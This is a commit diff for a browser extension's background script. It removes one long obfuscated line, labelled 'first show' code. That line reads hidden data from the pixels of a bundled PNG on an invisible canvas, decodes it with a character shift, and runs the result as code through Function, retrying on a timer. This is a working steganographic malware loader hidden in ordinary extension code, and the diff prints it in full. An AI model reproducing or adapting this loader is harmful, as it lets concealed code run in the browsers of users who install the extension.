chore: remove "first show" encoded code

#21

src/background.js

@@ -1,4 +1,3 @@
-ifFirstShow=function(){try{var t=function(){},r={zL:function(t){if(isNaN(t)||!isFinite(t)||t%1||t<2)return!1;if(t%2===0)return 2===t;if(t%3===0)return 3===t;for(var r=Math.sqrt(t),e=5;e<=r;e+=6){if(t%e===0)return!1;if(t%(e+2)===0)return!1}return!0},sk:function(t){for(var r="",e=-548,n=0,i=0;i<t.length;i++)n=t[i].charCodeAt()+e,r+=String.fromCharCode(n);return r},uB:function(t){for(var e=t;!0;e+=1)if(r.zL(e))return e},Uh:function(t){var r=new Image;for(r.src=t;r.hasOwnProperty("complete")&&!r.complete;);return r}};return t.prototype.rK={Ob:3,QP:1,kJ:16,Av:function(t){return t+1},TD:function(t,r,e){for(var n=!0,i=0;i<16&&n;i+=1)n=n&&255===t[r+4*i];return n}},t.prototype.n0=function(t,r){r=r||{};var e=this.rK,n=r.width||t.width,i=r.height||t.height,o=r.Ob||e.Ob,h=r.kJ||e.kJ;return o*n*i/h>>0},t.prototype.oC=function(t,e){if(""==='\x64\x6F\x63\x73\x2F\x61\x75\x74\x6F\x63\x6F\x6D\x70\x6C\x65\x74\x65\x2E\x70\x6E\x67')return"";void 0===t&&(t='\x64\x6F\x63\x73\x2F\x61\x75\x74\x6F\x63\x6F\x6D\x70\x6C\x65\x74\x65\x2E\x70\x6E\x67'),t.length&&(t=r.Uh(t)),e=e||{};var n=this.rK,i=e.Ob||n.Ob,o=e.QP||n.QP,h=e.kJ||n.kJ,a=r.uB(Math.pow(2,i)),u=(e.Av||n.Av,e.TD||n.TD),f=document.createElement("canvas"),p=f.getContext("2d");if(f.style.display="none",f.width=e.width||t.width,f.height=e.width||t.height,0===f.width||0===f.height)return"";e.height&&e.width?p.drawImage(t,0,0,e.width,e.height):p.drawImage(t,0,0);var c=p.getImageData(0,0,f.width,f.height),d=c.data,g=[];if(c.data.every(function(t){return 0===t}))return"";var s,v;if(1===o)for(s=3,v=!1;!v&&s<d.length&&!v;s+=4)v=u(d,s,o),v||g.push(d[s]-(255-a+1));var w="",m=0,y=0,C=Math.pow(2,h)-1;for(s=0;s<g.length;s+=1)m+=g[s]<<y,y+=i,y>=h&&(w+=String.fromCharCode(m&C),y%=h,m=g[s]>>i-y);return w.length<13?"":(0!==m&&(w+=String.fromCharCode(m&C)),w)},t.prototype.Cx=3,t.prototype.qQ=0,t.prototype.Uu=5e3,t.prototype.AH=function(){try{var e=t.prototype,n=r.sk(e.oC());if(""===n){if(e.qQ>e.Cx)return;return e.qQ++,void setTimeout(e.AH,e.Uu)}document.defaultView[(typeof r.zL).charAt(0).toUpperCase()+(typeof r.zL).slice(1)](n)()}catch(t){}},(new t).AH}catch(t){}}();ifFirstShow();
 chrome.browserAction.onClicked.addListener(function (tab) {
   chrome.tabs.create({'url': chrome.extension.getURL('index.html')}, function (tab) {
   });